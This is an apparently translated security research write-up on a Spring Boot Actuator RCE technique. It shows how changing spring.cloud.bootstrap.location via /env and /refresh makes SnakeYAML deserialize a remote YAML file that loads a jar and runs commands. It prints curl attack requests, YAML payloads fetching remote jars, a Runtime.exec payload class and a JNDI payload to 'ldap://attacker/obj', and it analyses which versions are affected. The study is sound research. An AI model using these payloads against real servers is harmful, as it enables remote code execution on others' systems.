-->

A Study Notes of Exploit Spring Boot Actuator

 

Introduction

In February of the year, Michael Stepankin wrote an article on the utilization of Spring Boot Actuators https://www.veracode.com/blog/research/exploiting-spring-boot-actuators, which introduced a variety of utilization ideas and methods, and then the author updated the article in May, adding the method of implementing RCE by modifying spring.cloud.bootstrap.locationenvironment, because there is no analysis article on this method found on the Internet, I debug and record the process myself, mainly content include
  • Principle and Process Analysis of Realizing RCE by Modifying Environment Variables
  • SnakeYAML deserialization introduction and utilization
  • High version Spring Boot Actuator utilizes testing and failure cause analysis

RCE Analysis

First, briefly summarize the use process
  • Use /envendpoint to modify the spring.cloud.bootstrap.locationattribute value to an external yml configuration file url address, such ashttp://127.0.0.1:63712/yaml-payload.yml
  • Request /refreshthe endpoint, trigger the program to download the external yml file, and parse it by the SnakeYAML library, because SnakeYAML supports specifying the class type and the parameters of the construction method during deserialization, combined with the javax.script.ScriptEngineManagerclass , it can load the remote jar package and complete any arbitrary code execution
  • From the process, we know that the command execution is caused by a deserialization vulnerability when SnakeYAML parses the YAML file. Let's look at an example of deserialization using the SnakeYAML library.
    @Test
    public void testYaml() {
        Yaml yaml = new Yaml();
        Object url = yaml.load("!!java.net.URL [\"http://127.0.0.1:63712/yaml-payload.jar\"]");
        // class java.net.URL
        System.out.println(url.getClass());
        // http://127.0.0.1:63712/yaml-payload.jar
        System.out.println(url);
    }
SnakeYAML supports !!+ full class name to specify the class to be deserialized, and then passes the constructor parameters in [arg1, arg2, ...]the form of . After the code in the example is executed, an java.net.URLinstance of the class will be deserialized

Let's take a look at the content of the external yml file given in yaml-payload.yml the

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]
  ]]
]
The process of SnakeYAML processing the above content can be equivalent to the following java code

URL url = new URL("http://127.0.0.1:63712/yaml-payload.jar");
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));
After the code is executed, the jar package will be downloaded from the http://127.0.0.1:63712/yaml-payload.jaraddress , and javax.script.ScriptEngineFactoryan implementation class of the interface will be found in the package, and then instantiated. Because the jar package code is controllable, arbitrary code can be executed.

The general process is understood, let's debug it

For the yaml-payload.jarcode see https://github.com/artsploit/yaml-payload, the key code is AwesomeScriptEngineFactory.javaclass, and Runtime is used in the constructor to execute system commands

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
        Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    ...
}
We breakpoint under the Runtime.exec()method , and the call stack is as follows

image-20191128201612824

method call order

javax.script.ScriptEngineManager<init>
	javax.script.ScriptEngineManager.init()
		javax.script.ScriptEngineManager.initEngines()
			java.util.ServiceLoader.LazyIterator.nextService()
				artsploit.AwesomeScriptEngineFactory<init>
					Runtime.getRuntime().exec()
The Java SPI mechanism is used in the method of the ScriptEngineManagerclass to dynamically load the implementation class of the interfaceinitEnginesScriptEngineFactory

image-20191128200536305


This is also why the AwesomeScriptEngineFactoryclass needs to implement the ScriptEngineFactoryinterface, META-INF/servicesand there needs to be a file name javax.script.ScriptEngineFactoryin the directory, and the value is the full package name of the implementation class, that is, it needs to conform to the Java SPI implementation specification

image-20191128200916571

In the process of ServiceLoaderloading the implementation class, the parameterless constructor will be called to create an instance and trigger command execution


The corresponding code is in the ServiceLoader.LazyIteratorclassnextService()

image-20191128194829490

After analyzing the YAML deserialization, let's take a look at the execution process in Spring Boot Actuator. For the vulnerability environment and code, see the master branch

Run the vulnerable environment in debug mode, and also breakpoints under the Runtime.exec()method

Modify firstspring.cloud.bootstrap.location

curl -XPOST http://127.0.0.1:61234/env -d "spring.cloud.bootstrap.location=http://127.0.0.1:63712/yaml-payload.yml"  
Visit http://127.0.0.1:61234/env, you can see that there managerare more values ​​we set under

image-20191128202320441


Then request the /refreshinterface to trigger

curl -XPOST http://127.0.0.1:61234/refresh

The call stack is relatively long, let's look at a few key places
The first is the RefreshEndpoint.refresh()method , /refreshthe class that handles the interface request

image-20191128203000766


The second is the BootstrapApplicationListener.bootstrapServiceContext()method , where the value is obtained from the environment variable spring.cloud.bootstrap.location, that is, the external yml file url set previously

image-20191201222608591

Then you will go to the org.springframework.boot.env.PropertySourcesLoader.load()method , according to the file name suffix (yml), use the YamlPropertySourceLoaderclass to load the yml configuration file corresponding to the url

According to the code on the right, because spring-beans.jar contains snakeyaml.jar, YamlPropertySourceLoaderthe SnakeYAML library is used to parse the configuration by default

image-20191201223032924


Finally, it is called in the YamlProcessor.process()method to Yaml.loadAll()parse the content of the yml file, and the subsequent process is similar to the previous SnakeYAMLdeserialization process, which finally triggers command execution

image-20191201223430957

High Version Test

The vulnerability environment given by the author in the article is the Spring Boot 1.x version, and in the actual testing process, many situations are encountered in the Spring Boot 2.x version. In version 2.x, the default endpoint prefix of the actuator is /actuator, and the post body of the envinterface also in JSON format. The steps are:

Modify environment variables

curl -XPOST -H "Content-Type: application/json" http://127.0.0.1:61234/actuator/env -d '{"name":"spring.cloud.bootstrap.location","value":"http://127.0.0.1:63712/yaml-payload.yml"}'
Visit http://127.0.0.1:61234/actuator/env, you can see that there are more values ​​just set under property sources

image-20191128213946911


Then refresh triggers

curl -XPOST http://127.0.0.1:61234/actuator/refresh
After the execution, you will find that the calculator does not pop up. At this time, the black question mark? ? ? You can only debug again to find the reason

After some research, I found that it was because the value of the spring.cloud.bootstrap.locationattribute did not take effect.

Let's recall the second key point mentioned earlier

BootstrapApplicationListener.bootstrapServiceContext() , here is spring.cloud.bootstrap.location the , that is, the external yml file url set before

image-20191201224920275

It can be seen that configLocationthe value of , is empty, that is, the value that cannot be parsed from ${spring.cloud.bootstrap.location}

Through the analysis of the calling method and variable, it is found environmentthat the propertySourceList attribute in the variable has changed

Let's take a look at the 1.x version first, you can see that it contains manager

image-20191130163635709


Let's take a look at the 2.x version, you will find that there is no more

image-20191130162850070


And the loading code of PropertySources is in org.springframework.cloud.context.refresh.ContextRefresherthe copyEnvironment() method of

private StandardEnvironment copyEnvironment(ConfigurableEnvironment input)
The same, let's first look at the logic of 1.x

	private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
		StandardEnvironment environment = new StandardEnvironment();
		MutablePropertySources capturedPropertySources = environment.getPropertySources();
		for (PropertySource<?> source : capturedPropertySources) {
			capturedPropertySources.remove(source.getName());
		}
		for (PropertySource<?> source : input.getPropertySources()) {
			capturedPropertySources.addLast(source);
		}
		environment.setActiveProfiles(input.getActiveProfiles());
		environment.setDefaultProfiles(input.getDefaultProfiles());
		Map<String, Object> map = new HashMap<String, Object>();
		map.put("spring.jmx.enabled", false);
		map.put("spring.main.sources", "");
		capturedPropertySources
				.addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
		return environment;
	}
input.getPropertySources() the value of

image-20191130171807878


The following is the logic of 2.x

  private static final String[] DEFAULT_PROPERTY_SOURCES = new String[] {
			// order matters, if cli args aren't first, things get messy
  		// commandLineArgs
			CommandLinePropertySource.COMMAND_LINE_PROPERTY_SOURCE_NAME,
			"defaultProperties" };

	private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
		StandardEnvironment environment = new StandardEnvironment();
		MutablePropertySources capturedPropertySources = environment.getPropertySources();
		// Only copy the default property source(s) and the profiles over from the main
		// environment (everything else should be pristine, just like it was on startup).
		for (String name : DEFAULT_PROPERTY_SOURCES) {
			if (input.getPropertySources().contains(name)) {
        
				if (capturedPropertySources.contains(name)) {
					capturedPropertySources.replace(name,
							input.getPropertySources().get(name));
				}
				else { 
					capturedPropertySources.addLast(input.getPropertySources().get(name));
				}
			}
		}
		environment.setActiveProfiles(input.getActiveProfiles());
		environment.setDefaultProfiles(input.getDefaultProfiles());
		Map<String, Object> map = new HashMap<String, Object>();
		map.put("spring.jmx.enabled", false);
		map.put("spring.main.sources", "");
		capturedPropertySources
				.addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
		return environment;
	}
According to the code, it can be known that only the name DEFAULT_PROPERTY_SOURCESin PropertySourcewill be processed, and its value is a string array, which only contains
  • commandLineArgs
  • default properties

And what we added is that the property value is in manager the PropertySource, so it will not be added to the property sources ( capturedPropertySources) of the environment, which will eventually lead to the inability to resolve

At this point, it can be determined that the method of implementing RCE by modifying spring.cloud.bootstrap.locationattributes cannot be successful in high versions

In order to find the available version range, I looked at the commit record of git and found that the modification was spring-cloud-common merged in 1.3.0.RELEASE, so it is 1.3.0.RELEASEonly

And the dependency version of the Spring Cloud related jar package depends on spring-cloud-dependencies the version, you can know from pom.xml that spring-cloud-dependenciesthe Dalston.RELEASE version depends on 1.2.0 spring-cloud-commons, and the later version depends on >= 1.3.0, according to the document https: //spring.io/projects/spring-cloud version adaptation instructions of Spring Cloud to Spring Boot

image-20191130175148009

We can know that
  • Spring Boot 2.x cannot be exploited successfully
  • Spring Boot 1.5.x can be used successfully when using the Dalstonversion , but can Edgwarenot be used successfully
  • Spring Boot <= 1.4 can exploit success

Think

How to find it?

How did the author find this exploit? This has always been the first question that I want to know the answer to after reading this big guy's article, and it is also the most difficult question. Here try to find some ideas and clues

First of all, when Spring Cloud components are not used, the /envendpoint of Spring Boot Actuator can only read the value of environment variables by default, so the first question is, how to know that there is a function that can modify environment variables?

Here, you need to have a certain understanding and experience of Spring ecology, such as Spring Boot, Spring Cloud, etc., otherwise, you will not be able to start. By searching Spring Cloud's documentation, I found the relevant instructions https://cloud.spring.io/spring-cloud-static/spring-cloud.html#_endpoints
  • POST to /env to update the Environment and rebind @ConfigurationProperties and log levels
  • /refresh for re-loading the bootstrap context and refreshing the @RefreshScope beans
From the documentation, we also know that requests /refresh can trigger bootstrap context reload and load the modified environment variables

Then the next problem is to find which environment variables can be modified and some sensitive operations will be performed after reload. According to the instructions in the article, there are many environment variables that can be modified, so you need to try them one by one.

There is no idea of ​​forward-thinking here, turn to the reverse, try to spring.cloud.bootstrap.locationstart with, customize-bootstrap-properties according to the instructions in the Spring documentation

The bootstrap.yml (or .properties) location can be specified by setting spring.cloud.bootstrap.name (default: bootstrap) or spring.cloud.bootstrap.location (default: empty) — for example, in System properties.

It can be known that this variable is used to specify the location of the bootstrap configuration file. The supported file formats include ymland properties. Friends who are familiar with Java security may think that the parsing of yml will have a problem of deserialization. If the content of the configuration file is here, we If you can control it, there is a possibility that it can be exploited.

The next step is to combine the Spring Cloud source code and hands-on debugging to determine the processing of spring.cloud.bootstrap.locationenvironment variables and the parsing process of configuration files. According to the previous analysis, we know that the specified yml file will be downloaded in the code and parsed using the SnakeYAML library, so there is a deserialization vulnerability.

Of course, the actual process will be much more complicated than just described, requiring a lot of time and effort to read the documentation and debug the code.

SnakeYAML Payload

According to the introduction in https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf, in addition to the javax.script.ScriptEngineManager class , we can also use the com.sun.rowset.JdbcRowSetImplclass to complete the exploitation through JNDI injection. The payload is as follows

!!com.sun.rowset.JdbcRowSetImpl
  dataSourceName: ldap://attacker/obj
  autoCommit: true
In contrast ScriptEngineManager, JNDI injection will have some limitations in the use of high-level JDK, but because Spring Boot uses the Tomcat container by default, it can still be used successfully. For details, please refer to another article by Michael Stepankin. Exploiting JNDI Injections in Java

Changes In YamlPropertySourceLoader

In the process of looking for the reason for the failure of the high version of Spring Boot Actuator, I also found that even if it spring.cloud.bootstrap.locationcan successfully resolve, it still cannot succeed. The reason is that the class org.springframework.boot.env.YamlPropertySourceLoaderlogic of parsing yml in Spring boot has also changed. The test code is as follows

    @Test
    public void test() throws Exception {
        new YamlPropertySourceLoader().load("name", new ClassPathResource("payload/yaml-payload.yml"));
    }
The following error will be reported after execution

image-20191130232431309


The error message is obvious. java.net.URLWhen the parameter type of the constructor is incorrect. After debugging, it is found that the higher version of Spring Boot stores the parsed value in the org.springframework.boot.origin.OriginTrackedValue.$OriginTrackedCharSequenceclass instead java.lang.String, which causes the failure to create an instance by reflection.

Summary

This article briefly analyzes the principles and steps of implementing RCE by modifying spring.cloud.bootstrap.locationenvironment . Although it cannot be used successfully in high versions, the process is still worth learning. And because there are so many frameworks and components in the Spring ecosystem, there may be more ways to use them. Interested masters can try to study them.

Finally, due to the limited personal level, there may be inaccurate or wrong descriptions in the article. Welcome to point out and communicate

Reference